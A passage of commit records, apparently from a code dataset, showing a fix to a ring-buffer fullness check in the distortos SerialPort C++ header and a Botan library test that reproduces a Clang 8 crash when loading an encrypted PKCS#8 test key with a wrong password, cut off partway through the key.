returned);\n\t * error codes:\n\t * - EBADF - the device is not opened;\n\t * - EINTR - the wait was interrupted by an unmasked, caught signal;\n\t * - EINVAL - \\a buffer and\/or \\a size are invalid;\n\t * - error codes returned by internal::UartLowLevel::startWrite();\n\t *\/\n\n\tstd::pair<int, size_t> write(const void* buffer, size_t size);\n\nprivate:\n\n\t\/**\n\t * \\brief \"Read complete\" event\n\t *\n\t * Called by low-level UART driver when whole read buffer is filled.\n\t *\n\t * Updates position of read ring buffer and notifies any thread waiting for this event. If the read ring buffer is\n\t * not full, next read operation is started.\n\t *\n\t * \\param [in] bytesRead is the number of bytes read by low-level UART driver (and written to read buffer)\n\t *\/\n\n\tvoid readCompleteEvent(size_t bytesRead) override;\n\n\t\/**\n\t * \\brief \"Receive error\" event\n\t *\n\t * Called by low-level UART driver when the last character was received with an error. This character is written to\n\t * the read buffer before this function is called.\n\t *\n\t * Does nothing.\n\t *\n\t * \\param [in] errorSet is the set of error bits\n\t *\/\n\n\tvoid receiveErrorEvent(ErrorSet errorSet) override;\n\n\t\/**\n\t * \\brief Wrapper for internal::UartLowLevel::startRead()\n\t *\n\t * Starts read operation with size that is the smallest of: size of first available read block, half the size of\n\t * read ring buffer and value of \\a limit.\n\t *\n\t * \\param [in] limit is the size limit of started read operation, bytes\n\t *\n\t * \\return values returned by internal::UartLowLevel::startRead()\n\t *\/\n\n\tint startReadWrapper(size_t limit);\n\n\t\/**\n\t * \\brief Wrapper for internal::UartLowLevel::startWrite()\n\t *\n\t * Sets \"transmit in progress\" and \"write in progress\" flags. Starts write operation with size of first available\n\t * write block.\n\t *\n\t * \\return values returned by internal::UartLowLevel::startWrite()\n\t *\/\n\n\tint startWriteWrapper();\n\n\t\/**\n\t * \\brief \"Transmit complete\" event\n\t *\n\t * Called by low-level UART driver when the transmission is physically finished.\n\t *\n\t * Notifies any thread waiting for this event and clears \"transmit in progress\" flag.\n\t *\/\n\n\tvoid transmitCompleteEvent() override;\n\n\t\/**\n\t * \\brief \"Write complete\" event\n\t *\n\t * Called by low-level UART driver when whole write buffer was transfered - the transmission may still be in\n\t * progress.\n\t *\n\t * Updates position of write ring buffer and notifies any thread waiting for this event. If the write ring buffer is\n\t * not empty, next write operation is started. Otherwise \"write in progress\" flag is cleared.\n\t *\n\t * \\param [in] bytesWritten is the number of bytes written by low-level UART driver (and read from write buffer)\n\t *\/\n\n\tvoid writeCompleteEvent(size_t bytesWritten) override;\n\n\t\/\/\/ mutex used to serialize access to read(), close() and open()\n\tMutex readMutex_;\n\n\t\/\/\/ mutex used to serialize access to write(), close() and open()\n\tMutex writeMutex_;\n\n\t\/\/\/ ring buffer for read operations\n\tRingBuffer readBuffer_;\n\n\t\/\/\/ ring buffer for write operations\n\tRingBuffer writeBuffer_;\n\n\t\/\/\/ pointer to semaphore used for \"read complete\" event notifications\n\tSemaphore* volatile readSemaphore_;\n\n\t\/\/\/ pointer to semaphore used for \"transmit complete\" event notifications\n\tSemaphore* volatile transmitSemaphore_;\n\n\t\/\/\/ pointer to semaphore used for \"write complete\" event notifications\n\tSemaphore* volatile writeSemaphore_;\n\n\t\/\/\/ reference to low-level implementation of internal::UartLowLevel interface\n\tinternal::UartLowLevel& uart_;\n\n\t\/\/\/ current baud rate, bps\n\tuint32_t baudRate_;\n\n\t\/\/\/ current character length, bits\n\tuint8_t characterLength_;\n\n\t\/\/\/ current parity\n\tdevices::UartParity parity_;\n\n\t\/\/\/ current configuration of stop bits: 1 (false) or 2 (true)\n\tbool _2StopBits_;\n\n\t\/\/\/ number of times this device was opened but not yet closed\n\tuint8_t openCount_;\n\n\t\/\/\/ \"transmit in progress\" flag\n\tvolatile bool transmitInProgress_;\n\n\t\/\/\/ \"write in progress\" flag\n\tvolatile bool writeInProgress_;\n};\n\n}\t\/\/ namespace devices\n\n}\t\/\/ namespace distortos\n\n#endif\t\/\/ INCLUDE_DISTORTOS_DEVICES_COMMUNICATION_SERIALPORT_HPP_\n<commit_msg>Fix bug in SerialPort::RingBuffer::isFull()<commit_after>\/**\n * \\file\n * \\brief SerialPort class header\n *\n * \\author Copyright (C) 2016 Kamil Szczygiel http:\/\/www.distortec.com http:\/\/www.freddiechopin.info\n *\n * \\par License\n * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not\n * distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#ifndef INCLUDE_DISTORTOS_DEVICES_COMMUNICATION_SERIALPORT_HPP_\n#define INCLUDE_DISTORTOS_DEVICES_COMMUNICATION_SERIALPORT_HPP_\n\n#include \"distortos\/devices\/communication\/UartParity.hpp\"\n\n#include \"distortos\/internal\/devices\/UartBase.hpp\"\n\n#include \"distortos\/Mutex.hpp\"\n\nnamespace distortos\n{\n\nclass Semaphore;\n\nnamespace internal\n{\n\nclass UartLowLevel;\n\n}\n\nnamespace devices\n{\n\n\/**\n * SerialPort class is a serial port with an interface similar to standard files\n *\n * \\ingroup devices\n *\/\n\nclass SerialPort : private internal::UartBase\n{\npublic:\n\n\t\/\/\/ thread-safe, lock-free ring buffer for one-producer and one-consumer\n\tclass RingBuffer\n\t{\n\tpublic:\n\n\t\t\/**\n\t\t * \\brief RingBuffer's constructor\n\t\t *\n\t\t * \\param [in] buffer is a buffer for data\n\t\t * \\param [in] size is the size of \\a buffer, bytes, should be even, must be greater than or equal to 4\n\t\t *\/\n\n\t\tconstexpr RingBuffer(void* const buffer, const size_t size) :\n\t\t\t\tbuffer_{static_cast<uint8_t*>(buffer)},\n\t\t\t\tsize_{size},\n\t\t\t\treadPosition_{},\n\t\t\t\twritePosition_{}\n\t\t{\n\n\t\t}\n\n\t\t\/**\n\t\t * \\brief Clears ring buffer\n\t\t *\/\n\n\t\tvoid clear()\n\t\t{\n\t\t\treadPosition_ = 0;\n\t\t\twritePosition_ = 0;\n\t\t}\n\n\t\t\/**\n\t\t * \\return First contiguous block (as a pair with pointer and size) available for reading\n\t\t *\/\n\n\t\tstd::pair<const uint8_t*, size_t> getReadBlock() const;\n\n\t\t\/**\n\t\t * \\return total size of ring buffer, bytes\n\t\t *\/\n\n\t\tsize_t getSize() const\n\t\t{\n\t\t\treturn size_;\n\t\t}\n\n\t\t\/**\n\t\t * \\return First contiguous block (as a pair with pointer and size) available for writing\n\t\t *\/\n\n\t\tstd::pair<uint8_t*, size_t> getWriteBlock() const;\n\n\t\t\/**\n\t\t * \\brief Increases read position by given value\n\t\t *\n\t\t * \\param [in] value is the value which will be added to read position, must come from previous call to\n\t\t * getReadBlock()\n\t\t *\/\n\n\t\tvoid increaseReadPosition(const size_t value)\n\t\t{\n\t\t\treadPosition_ += value;\n\t\t\treadPosition_ %= size_;\n\t\t}\n\n\t\t\/**\n\t\t * \\brief Increases write position by given value\n\t\t *\n\t\t * \\param [in] value is the value which will be added to write position, must come from previous call to\n\t\t * getWriteBlock()\n\t\t *\/\n\n\t\tvoid increaseWritePosition(const size_t value)\n\t\t{\n\t\t\twritePosition_ += value;\n\t\t\twritePosition_ %= size_;\n\t\t}\n\n\t\t\/**\n\t\t * \\return true if ring buffer is empty, false otherwise\n\t\t *\/\n\n\t\tbool isEmpty() const\n\t\t{\n\t\t\treturn writePosition_ == readPosition_;\n\t\t}\n\n\t\t\/**\n\t\t * \\return true if ring buffer is full, false otherwise\n\t\t *\/\n\n\t\tbool isFull() const\n\t\t{\n\t\t\treturn readPosition_ == (writePosition_ + 2) % size_;\n\t\t}\n\n\tprivate:\n\n\t\t\/\/\/ pointer to beginning of buffer\n\t\tuint8_t* buffer_;\n\n\t\t\/\/\/ size of \\a buffer_, bytes\n\t\tsize_t size_;\n\n\t\t\/\/\/ current read position\n\t\tvolatile size_t readPosition_;\n\n\t\t\/\/\/ current write position\n\t\tvolatile size_t writePosition_;\n\t};\n\n\t\/**\n\t * \\brief SerialPort's constructor\n\t *\n\t * \\param [in] uart is a reference to low-level implementation of internal::UartLowLevel interface\n\t * \\param [in] readBuffer is a buffer for read operations\n\t * \\param [in] readBufferSize is the size of \\a readBuffer, bytes, should be divisible by 4, must be greater than or\n\t * equal to 4\n\t * \\param [in] writeBuffer is a buffer to write operations\n\t * \\param [in] writeBufferSize is the size of \\a writeBuffer, bytes, should be even, must be greater than or equal\n\t * to 4\n\t *\/\n\n\tconstexpr SerialPort(internal::UartLowLevel& uart, void* const readBuffer, const size_t readBufferSize,\n\t\t\tvoid* const writeBuffer, const size_t writeBufferSize) :\n\t\t\t\t\treadMutex_{Mutex::Type::normal, Mutex::Protocol::priorityInheritance},\n\t\t\t\t\twriteMutex_{Mutex::Type::normal, Mutex::Protocol::priorityInheritance},\n\t\t\t\t\treadBuffer_{readBuffer, (readBufferSize \/ 4) * 4},\n\t\t\t\t\twriteBuffer_{writeBuffer, (writeBufferSize \/ 2) * 2},\n\t\t\t\t\treadSemaphore_{},\n\t\t\t\t\ttransmitSemaphore_{},\n\t\t\t\t\twriteSemaphore_{},\n\t\t\t\t\tuart_{uart},\n\t\t\t\t\tbaudRate_{},\n\t\t\t\t\tcharacterLength_{},\n\t\t\t\t\tparity_{},\n\t\t\t\t\t_2StopBits_{},\n\t\t\t\t\topenCount_{},\n\t\t\t\t\ttransmitInProgress_{},\n\t\t\t\t\twriteInProgress_{}\n\t{\n\n\t}\n\n\t\/**\n\t * \\brief SerialPort's destructor\n\t *\n\t * Does nothing if all users already closed this device. If they did not, performs forced close of device.\n\t *\/\n\n\t~SerialPort() override;\n\n\t\/**\n\t * \\brief Closes SerialPort\n\t *\n\t * Does nothing if any user still has this device opened. Otherwise all transfers and low-level driver are stopped.\n\t * If any write transfer is still in progress, this function will wait for physical end of transmission before\n\t * shutting the device down.\n\t *\n\t * If the function is interrupted by a signal, the device is not closed - the user should try to close it again.\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - EBADF - the device is already completely closed;\n\t * - EINTR - the wait was interrupted by an unmasked, caught signal;\n\t * - error codes returned by internal::UartLowLevel::stop();\n\t *\/\n\n\tint close();\n\n\t\/**\n\t * \\brief Opens SerialPort\n\t *\n\t * Does nothing if any user already has this device opened. Otherwise low-level driver and buffered reads are\n\t * started.\n\t *\n\t * \\param [in] baudRate is the desired baud rate, bps\n\t * \\param [in] characterLength selects character length, bits\n\t * \\param [in] parity selects parity\n\t * \\param [in] _2StopBits selects whether 1 (false) or 2 (true) stop bits are used\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - EINVAL - provided arguments don't match current configuration of already opened device;\n\t * - EMFILE - this device is already opened too many times;\n\t * - ENOBUFS - read and\/or write buffers are too small;\n\t * - error codes returned by internal::UartLowLevel::start();\n\t * - error codes returned by internal::UartLowLevel::startRead();\n\t *\/\n\n\tint open(uint32_t baudRate, uint8_t characterLength, devices::UartParity parity, bool _2StopBits);\n\n\t\/**\n\t * \\brief Reads data from SerialPort\n\t *\n\t * Similar to POSIX read() - http:\/\/pubs.opengroup.org\/onlinepubs\/9699919799\/functions\/read.html#\n\t *\n\t * This function will block until at least one character can be read.\n\t *\n\t * \\param [out] buffer is the buffer to which the data will be written\n\t * \\param [in] size is the size of \\a buffer, bytes, must be even if selected character length is greater than 8\n\t * bits\n\t *\n\t * \\return pair with return code (0 on success, error code otherwise) and number of read bytes (valid even when\n\t * error code is returned);\n\t * error codes:\n\t * - EBADF - the device is not opened;\n\t * - EINTR - the wait was interrupted by an unmasked, caught signal;\n\t * - EINVAL - \\a buffer and\/or \\a size are invalid;\n\t * - error codes returned by internal::UartLowLevel::startRead();\n\t *\/\n\n\tstd::pair<int, size_t> read(void* buffer, size_t size);\n\n\t\/**\n\t * \\brief Writes data to SerialPort\n\t *\n\t * Similar to POSIX write() - http:\/\/pubs.opengroup.org\/onlinepubs\/9699919799\/functions\/write.html#\n\t *\n\t * This function will block until all character are written.\n\t *\n\t * \\param [in] buffer is the buffer with data that will be transmitted\n\t * \\param [in] size is the size of \\a buffer, bytes, must be even if selected character length is greater than 8\n\t * bits\n\t *\n\t * \\return pair with return code (0 on success, error code otherwise) and number of written bytes (valid even when\n\t * error code is returned);\n\t * error codes:\n\t * - EBADF - the device is not opened;\n\t * - EINTR - the wait was interrupted by an unmasked, caught signal;\n\t * - EINVAL - \\a buffer and\/or \\a size are invalid;\n\t * - error codes returned by internal::UartLowLevel::startWrite();\n\t *\/\n\n\tstd::pair<int, size_t> write(const void* buffer, size_t size);\n\nprivate:\n\n\t\/**\n\t * \\brief \"Read complete\" event\n\t *\n\t * Called by low-level UART driver when whole read buffer is filled.\n\t *\n\t * Updates position of read ring buffer and notifies any thread waiting for this event. If the read ring buffer is\n\t * not full, next read operation is started.\n\t *\n\t * \\param [in] bytesRead is the number of bytes read by low-level UART driver (and written to read buffer)\n\t *\/\n\n\tvoid readCompleteEvent(size_t bytesRead) override;\n\n\t\/**\n\t * \\brief \"Receive error\" event\n\t *\n\t * Called by low-level UART driver when the last character was received with an error. This character is written to\n\t * the read buffer before this function is called.\n\t *\n\t * Does nothing.\n\t *\n\t * \\param [in] errorSet is the set of error bits\n\t *\/\n\n\tvoid receiveErrorEvent(ErrorSet errorSet) override;\n\n\t\/**\n\t * \\brief Wrapper for internal::UartLowLevel::startRead()\n\t *\n\t * Starts read operation with size that is the smallest of: size of first available read block, half the size of\n\t * read ring buffer and value of \\a limit.\n\t *\n\t * \\param [in] limit is the size limit of started read operation, bytes\n\t *\n\t * \\return values returned by internal::UartLowLevel::startRead()\n\t *\/\n\n\tint startReadWrapper(size_t limit);\n\n\t\/**\n\t * \\brief Wrapper for internal::UartLowLevel::startWrite()\n\t *\n\t * Sets \"transmit in progress\" and \"write in progress\" flags. Starts write operation with size of first available\n\t * write block.\n\t *\n\t * \\return values returned by internal::UartLowLevel::startWrite()\n\t *\/\n\n\tint startWriteWrapper();\n\n\t\/**\n\t * \\brief \"Transmit complete\" event\n\t *\n\t * Called by low-level UART driver when the transmission is physically finished.\n\t *\n\t * Notifies any thread waiting for this event and clears \"transmit in progress\" flag.\n\t *\/\n\n\tvoid transmitCompleteEvent() override;\n\n\t\/**\n\t * \\brief \"Write complete\" event\n\t *\n\t * Called by low-level UART driver when whole write buffer was transfered - the transmission may still be in\n\t * progress.\n\t *\n\t * Updates position of write ring buffer and notifies any thread waiting for this event. If the write ring buffer is\n\t * not empty, next write operation is started. Otherwise \"write in progress\" flag is cleared.\n\t *\n\t * \\param [in] bytesWritten is the number of bytes written by low-level UART driver (and read from write buffer)\n\t *\/\n\n\tvoid writeCompleteEvent(size_t bytesWritten) override;\n\n\t\/\/\/ mutex used to serialize access to read(), close() and open()\n\tMutex readMutex_;\n\n\t\/\/\/ mutex used to serialize access to write(), close() and open()\n\tMutex writeMutex_;\n\n\t\/\/\/ ring buffer for read operations\n\tRingBuffer readBuffer_;\n\n\t\/\/\/ ring buffer for write operations\n\tRingBuffer writeBuffer_;\n\n\t\/\/\/ pointer to semaphore used for \"read complete\" event notifications\n\tSemaphore* volatile readSemaphore_;\n\n\t\/\/\/ pointer to semaphore used for \"transmit complete\" event notifications\n\tSemaphore* volatile transmitSemaphore_;\n\n\t\/\/\/ pointer to semaphore used for \"write complete\" event notifications\n\tSemaphore* volatile writeSemaphore_;\n\n\t\/\/\/ reference to low-level implementation of internal::UartLowLevel interface\n\tinternal::UartLowLevel& uart_;\n\n\t\/\/\/ current baud rate, bps\n\tuint32_t baudRate_;\n\n\t\/\/\/ current character length, bits\n\tuint8_t characterLength_;\n\n\t\/\/\/ current parity\n\tdevices::UartParity parity_;\n\n\t\/\/\/ current configuration of stop bits: 1 (false) or 2 (true)\n\tbool _2StopBits_;\n\n\t\/\/\/ number of times this device was opened but not yet closed\n\tuint8_t openCount_;\n\n\t\/\/\/ \"transmit in progress\" flag\n\tvolatile bool transmitInProgress_;\n\n\t\/\/\/ \"write in progress\" flag\n\tvolatile bool writeInProgress_;\n};\n\n}\t\/\/ namespace devices\n\n}\t\/\/ namespace distortos\n\n#endif\t\/\/ INCLUDE_DISTORTOS_DEVICES_COMMUNICATION_SERIALPORT_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/*\n* (C) 2020 Jack Lloyd, René Meusel, Hannes Rantzsch\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n\/*\n * This test case ensures that we avoid crashing in PKCS8::load_key due to a bug in Clang 8.\n *\n * A detailed description of the issue can be found here: https:\/\/github.com\/randombit\/botan\/issues\/2255.\n * In short, Clang 8 performs a double-free on captured objects if an exception is thrown within a lambda. This case can\n * occur when PKCS8::load_key fails to load the key due to a wrong password. The password needs to be long enough to not\n * be small buffer optimized.\n *\n * The Clang bug is tracked here and apparently won't be fixed in Clang 8: https:\/\/bugs.llvm.org\/show_bug.cgi?id=41810.\n * Other Clang versions seem not to be affected.\n *\/\n\n#include \"tests.h\"\n\n#if defined(BOTAN_HAS_PUBLIC_KEY_CRYPTO)\n #include <botan\/system_rng.h>\n #include <botan\/pkcs8.h>\n #include <botan\/data_src.h>\n#endif \/\/ BOTAN_HAS_PUBLIC_KEY_CRYPTO\n\nnamespace Botan_Tests {\n\n#if defined(BOTAN_HAS_PUBLIC_KEY_CRYPTO)\n\nnamespace {\n\n\/\/ The key needs to be a PKCS #8 encoded and encrypted private key.\nstd::string getPrivateKey()\n {\n return\n \"-----BEGIN ENCRYPTED PRIVATE KEY-----\"\n \"MIIHdDBeBgkqhkiG9w0BBQ0wUTAwBgkqhkiG9w0BBQwwIwQMswcJBnmZ9FwM4hbe\"\n \"AgJlkAIBIDAMBggqhkiG9w0CCQUAMB0GCWCGSAFlAwQBKgQQKpgftrEQL\/IcEN93\"\n \"xUnTdASCBxBRWf7m9CHhUmCjr\/gWA+L8D2oqf\/L2R4\/zlL7N2NvCwbjWS9V+bDYQ\"\n \"J1dixs1eW0A3WolNUoZRkTvTGEufZW92L2afHRSkOvLlupqiTHFOf67XTgPbchZd\"\n \"teTMixkIDw3wHtN5zBApL3UZ2h5lNOhfocWxh1AddotMRsY4zXoTmKzdl8DC3bfQ\"\n \"0zBME6I4rMFjJnKFYupe1GdP9TlJ1\/ioE0KUr9f5IGzSPy9ayEW8H+BmdpfsEAt4\"\n \"s0AG4HbjhZ6n3BFn2jXhezVu4Vd6f+qMmdkLMKG+TyNkP1PFWuJMV+F5ftQi6xdm\"\n \"LP19idEojEnGzk7yWNnCXzDagBMQlR0m9RJfoG2JRYlc3qlI8QPEUb+0WcaLh8Us\"\n \"U16Y7EW1WlUkPlvKuTOmNSsiAjBStJkWkPNHwKV4gjNEn755JjeFvxLEqA8e812N\"\n \"phsSRpx9+xAqwLZHX+5aSlodUr740LOf23t6UOMbOq6Oe3cFAV85USmZV4JAYYIQ\"\n \"CgKVBIUxJO5b6+8+B6Nfqy1HVu+\/p1NtqGRT93qxRz78u+N07bld0yrelwlkCyBn\"\n \"eLuqcGUuWdVNIRNKM3r8TqseW7xu5p3kRXg9BRE6lXSpIPZnBs8vRVDsjXCsXI\/f\"\n \"JrW3rkPtx7s3CtgTqjxoKdBI\/W9jnBAvhDz+UYiYrlqVOZ4nq7puylbNvezL+P4e\"\n \"2y8oDjX6OUXNT6MwM2MP\/73bvoekOmhT2tPcXWCMNfLN56y\/aDMxJ2yoWaxdpSLP\"\n \"X6eoyP76GcI+hI9TWkXIFFuR\/18+aaovlkR6Vb4H+SJaOCLLceUDsJ2WOqT5fArc\"\n \"E0He2+DDlvuBiv2GSIhbA6ae1qNtADcmevhxqrXHuOYw914dXIidNkaAAL7OeJlI\"\n \"I0+SQIxfhbiwZObxKCa0BHmYOEKixa3suALWSSCjbOTVzWfPc5OL6y2PysJ0I82X\"\n \"Ql6rRkhiH\/ZCZcC7P152Yd\/PsoH3PRh3vJQGHa7ijQVtqvzGiaSelsCIwidmgvr3\"\n \"35Lt1EBYI1aN9j0Op\/KCwfuyGgH\/sa12s8WVRXWVLBxmtfka6p92RGSHYnuqSse3\"\n \"+Wtzn48njYTpBmpBGZMYMBGJDyt8XuOOYHhPjRqkSjWMWHCiWLT+4HPdTuuSCz7c\"\n \"ososirxutINPxpMHihT1l\/uOLJS1ZK6o+4VHecFrINLr3xTwNLBCK12P7PhG2acY\"\n \"yV6HZD3WU+eIdvFTfXTlZblOhoJFMynwdZnsPPktFoFewsHaanZHm5jBcZMncA2f\"\n \"sVeZfssV+A2W1ZtC9PQZ8PAT83qNHwAKBg6ZGL46Q9gRPauIeEG9pfyqwREDH92+\"\n \"oouyE8m5gcxNdfY3y8C2Mam03xQDvfwfflJInEShoBWLGv5nstOIOptjwoV\/wYyn\"\n \"Nw7jOezGqHoOZBWtuyEpdWO\/4rmdVGPuGwe5s8IHkjVIUQwQqwTLm9pXKFjvaEM9\"\n \"RyDLDMg3PNmAUafrEzR9CDU93tr1zebcr7ZMOAPlV0VGi3NbAiPie\/62\/t7E0RLU\"\n \"NIptJGKCOhKvG7wy0IXaLbEtAowTgEK0OrQ5oiZD8d8J+T7ZYIRQf3ppWFobFd5n\"\n \"DL+w3AJ75yvpsSO9M3lbkjzFrwyqbNG1dWoWZmRwu8aAiSMeqJiBhGpZMwm5qljj\"\n \"4uCCIG5+XEWxwg+THs9s3pPfEiKvosQbJeja7y6JcAeJqO6guNJ03A1qTqUcJY9h\"\n \"hcVORQXc8FK9ReN1v52TI19vbyUGaGpJGinagCpKL\/+MeznqdKrT0DqoMA+x\/U5V\"\n \"Qzm5+2Wg6FnqNHu\/3TkfnP7eUjIAZ4dyGHffScacrf1ZXEz7Tmur3T168z4SPHF7\"\n \"usIOQ2RgaHQTilDl0m1deosq\/5eX\/J193nt56urXQ+nRj7GcdjNYYJdv0vttThnh\"\n \"jamndRcMQ9Pso8WTgNlMJjYKGmJV3pZ652AZo4jQPearrEnAC\/YEJuj5rxYT2RSL\"\n \"MkBEiZbRQR2yDfg3IbnN0uMSVGiP2qd04uKvQ45RIDJ9PbEDsB0a9R\/W\/Uc2X9Eo\"\n \"ptlKgHNgTtslIj+GU6r1p0sUkW2iBI6rg3z7uDpnHveuTJXITPyim9W9fjluuqh+\"\n \"ApgH0RqSu9vxdVM7mLd6wRyeH0ST7mUNcjElBdDW+bXcvKpqGUizc3Nq7iosRo3p\"\n \"wGjmcjNwvuac1+guKFDMskeVrBRDE1Ulbo\/\/AGxoGcoRKz81vmhEdaaq0s7xmkvI\"\n \"zxWxdqGmyw+K7rAvbJuCURrdr+vvdJMsGt9PXDBogJPGqkrytL+8S3DXFMw83Mm5\"\n \"qAA7A4H2qdXURUfFdWgcrY5Nxo1PLtKztRrGZ4lAf+xAuDJmf5E\/fQvZJwlx+cVu\"\n \"BhLslycbfcv1iKw0\/uzS4B+M8bomW7AAWAla1+A7zOpGRbDNAZeCLA==\"\n \"-----END ENCRYPTED PRIVATE KEY-----\";\n }\n\n} \/\/ namespace\n\nclass Clang_Bug_41810 final : public Test\n {\n public:\n std::vector<Test::Result> run() override\n {\n Test::Result result(\"PKCS8::load_key does not crash when compiled with Clang 8\");\n\n Botan::System_RNG rng;\n auto pem = getPrivateKey();\n\n Botan::DataSource_Memory ds(reinterpret_cast<const uint8_t*>(pem.data()), pem.size());\n\n std::string pw = \"01234567890123456789\"; \/\/ sufficiently long, wrong password\n \/\/ Note: the correct password for this key is \"smallbufferoptimization\"\n\n try\n {\n Botan::PKCS8::load_key(ds, rng, pw);\n result.test_failure(\"load_key should have thrown due to wrong password\");\n }\n catch(const std::exception&)\n {\n result.test_success(\"load_key doesn't crash\");\n }\n\n return {result};\n }\n\n };\n\nBOTAN_REGISTER_TEST(\"clang_bug\", Clang_Bug_41810);\n\n#endif \/\/ BOTAN_HAS_PUBLIC_KEY_CRYPTO\n\n} \/\/ namespace Botan_Tests\n<commit_msg>Avoid using system RNG in Clang bug test<commit_after>\/*\n* (C) 2020 Jack Lloyd, René Meusel, Hannes Rantzsch\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n\/*\n * This test case ensures that we avoid crashing in PKCS8::load_key due to a bug in Clang 8.\n *\n * A detailed description of the issue can be found here: https:\/\/github.com\/randombit\/botan\/issues\/2255.\n * In short, Clang 8 performs a double-free on captured objects if an exception is thrown within a lambda. This case can\n * occur when PKCS8::load_key fails to load the key due to a wrong password. The password needs to be long enough to not\n * be small buffer optimized.\n *\n * The Clang bug is tracked here and apparently won't be fixed in Clang 8: https:\/\/bugs.llvm.org\/show_bug.cgi?id=41810.\n * Other Clang versions seem not to be affected.\n *\/\n\n#include \"tests.h\"\n\n#if defined(BOTAN_HAS_PUBLIC_KEY_CRYPTO)\n #include <botan\/pkcs8.h>\n #include <botan\/data_src.h>\n#endif \/\/ BOTAN_HAS_PUBLIC_KEY_CRYPTO\n\nnamespace Botan_Tests {\n\n#if defined(BOTAN_HAS_PUBLIC_KEY_CRYPTO)\n\nnamespace {\n\n\/\/ The key needs to be a PKCS #8 encoded and encrypted private key.\nstd::string getPrivateKey()\n {\n return\n \"-----BEGIN ENCRYPTED PRIVATE KEY-----\"\n \"MIIHdDBeBgkqhkiG9w0BBQ0wUTAwBgkqhkiG9w0BBQwwIwQMswcJBnmZ9FwM4hbe\"\n \"AgJlkAIBIDAMBggqhkiG9w0CCQUAMB0GCWCGSAFlAwQBKgQQKpgftrEQL\/IcEN93\"\n \"xUnTdASCBxBRWf7m9CHhUmCjr\/gWA+L8D2oqf\/L2R4\/zlL7N2NvCwbjWS9V+bDYQ\"\n \"J1dixs1eW0A3WolNUoZRkTvTGEufZW92L2afHRSkOvLlupqiTHFOf67XTgPbchZd\"\n \"teTMixkIDw3wHtN5zBApL3UZ2h5lNOhfocWxh1AddotMRsY4zXoTmKzdl8DC3bfQ\"\n \"0zBME6I4rMFjJnKFYupe1GdP9TlJ1\/ioE0KUr9f5IGzSPy9ayEW8H+BmdpfsEAt4\"\n \"s0AG4HbjhZ6n3BFn2jXhezVu4Vd6f+qMmdkLMKG+TyNkP1PFWuJMV+F5ftQi6xdm\"\n \"LP19idEojEnGzk7yWNnCXzDagBMQlR0m9RJfoG2JRYlc3qlI8QPEUb+0WcaLh8Us\"\n \"U16Y7EW1WlUkPlvKuTOmNSsiAjBStJkWkPNHwKV4gjNEn755JjeFvxLEqA8e812N\"\n \"phsSRpx9+xAqwLZHX+5aSlodUr740LOf23t6UOMbOq6Oe3cFAV85USmZV4JAYYIQ\"\n \"CgKVBIUxJO5b6+8+B6Nfqy1HVu+\/p1NtqGRT93qxRz78u+N07bld0yrelwlkCyBn\"\n \"eLuqcGUuWdVNIRNKM3r8TqseW7xu5p3kRXg9BRE6lXSpIPZnBs8vRVDsjXCsXI\/f\"\n \"JrW3rkPtx7s3CtgTqjxoKdBI\/W9jnBAvhDz+UYiYrlqVOZ4nq7puylbNvezL+P4e\"\n \"2y8oDjX6OUXNT6MwM2MP\/73bvoekOmhT2tPcXWCMNfLN56y\/aDMxJ2yoWaxdpSLP\"\n \"X6eoyP76GcI+hI9TWkXIFFuR\/18+aaovlkR6Vb4H+SJaOCLLceUDsJ2WOqT5fArc\"\n \"E0He2+DDlvuBiv2GSIhbA6ae1qNtADcmevhxqrXHuOYw914dXIidNkaAAL7OeJlI\"\n \"I0+SQIxfhbiwZObxKCa0BHmYOEKixa3suALWSSCjbOTVzWfPc5OL6y2PysJ0I82X\"\n \"Ql6rRkhiH\/ZCZcC7P152Yd\/PsoH3PRh3vJQGHa7ijQVtqvzGiaSelsCIwidmgvr3\"\n \"35Lt1EBYI1aN9j0Op\/KCwfuyGgH\/sa12s8WVRXWVLBxmtfka6p92RGSHYnuqSse3\"\n \"+Wtzn48njYTpBmpBGZMYMBGJDyt8XuOOYHhPjRqkSjWMWHCiWLT+4HPdTuuSCz7c\"\n \"ososirxutINPxpMHihT1l\/uOLJS1ZK6o+4VHecFrINLr3xTwNLBCK12P7PhG2acY\"\n \"yV6HZD3WU+eIdvFTfXTlZblOhoJFMynwdZnsPPktFoFewsHaanZHm5jBcZMncA2f\"\n \"sVeZfssV+A2W1ZtC9PQZ8PAT83qNHwAKBg6ZGL46Q9gRPauIeEG9pfyqwREDH92+\"\n \"oouyE8m5gcxNdfY3y8C2Mam03xQDvfwfflJInEShoBWLGv5nstOIOptjwoV\/wYyn\"\n \"Nw7jOezGqHoOZBWtuyEpdWO\/4rmdVGPuGwe5s8IHkjVIUQwQqwTLm9pXKFjvaEM9\"\n \"RyDLDMg3PNmAUafrEzR9CDU93tr1zebcr7ZMOAPlV0VGi3NbAiPie\/62\/t7E0RLU\"\n \"NIptJGKCOhKvG7wy0IXaLbEtAowTgEK0OrQ5oiZD8d8J+T7ZYIRQf3ppWFobFd5n\"\n \"DL+w3AJ75yvpsSO9M3lbkjzFrwyqbNG1dWoWZmRwu8aAiSMeqJiBhGpZMwm5qljj\"\n \"4uCCIG5+XEWxwg+THs9s3pPfEiKvosQbJeja7y6JcAeJqO6guNJ03A1qTqUcJY9h\"\n \"hcVORQXc8FK9ReN1v52TI19vbyUGaGpJGinagCpKL\/+MeznqdKrT0DqoMA+x\/U5V\"\n \"Qzm5+2Wg6FnqNHu\/3TkfnP7eUjIAZ4dyGHffScacrf1ZXEz7Tmur3T168z4SPHF7\"\n \"usIOQ2RgaHQTilDl0m1deosq\/5eX\/J193nt56urXQ+nRj7GcdjNYYJdv0vttThnh\"\n \"jamndRcMQ9Pso8WTgNlMJjYKGmJV3pZ652AZo4jQPearrEnAC\/YEJuj5rxYT2RSL\"\n \"MkBEiZbRQR2yDfg3IbnN0uMSVGiP2qd04uKvQ45RIDJ9PbEDsB0a9R\/W\/Uc2X9Eo\"\n \"ptlKgHNgTtslIj+GU6r1p0sUkW2iBI6rg3z7uDpnHveuTJXITPyim9W9fjluuqh+\"\n 